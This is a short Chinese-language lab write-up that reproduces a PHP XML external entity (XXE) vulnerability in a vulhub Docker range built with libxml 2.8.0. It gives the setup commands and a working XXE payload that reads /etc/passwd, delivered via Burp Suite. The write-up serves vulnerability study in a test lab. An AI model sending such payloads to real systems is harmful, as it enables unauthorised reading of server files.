PHP XML外部实体注入漏洞复现
环境介绍
PHP 7.0.30
libxml 2.8.0
==libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。==
靶场搭建
cd /vulhub/php/php_xxe
docker-compose up -d
测试
先打开网页看看
访问http://192.168.3.151:8080/index.php
能看到phpinfo
在里面可以看到libxml
版本
Web目录为www
,里面有4个文件
tree .
dom.php #使用DOMDocument解析body
index.php
SimpleXMLElement.php #使用SimpleXMLElement类解析body
Simplexml_load_string.php #使用simplexml_load_string函数解析body
构造payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
打开burpsuite抓取数据包
然后把这玩意扔进去
获得/etc/passwd
里面的内容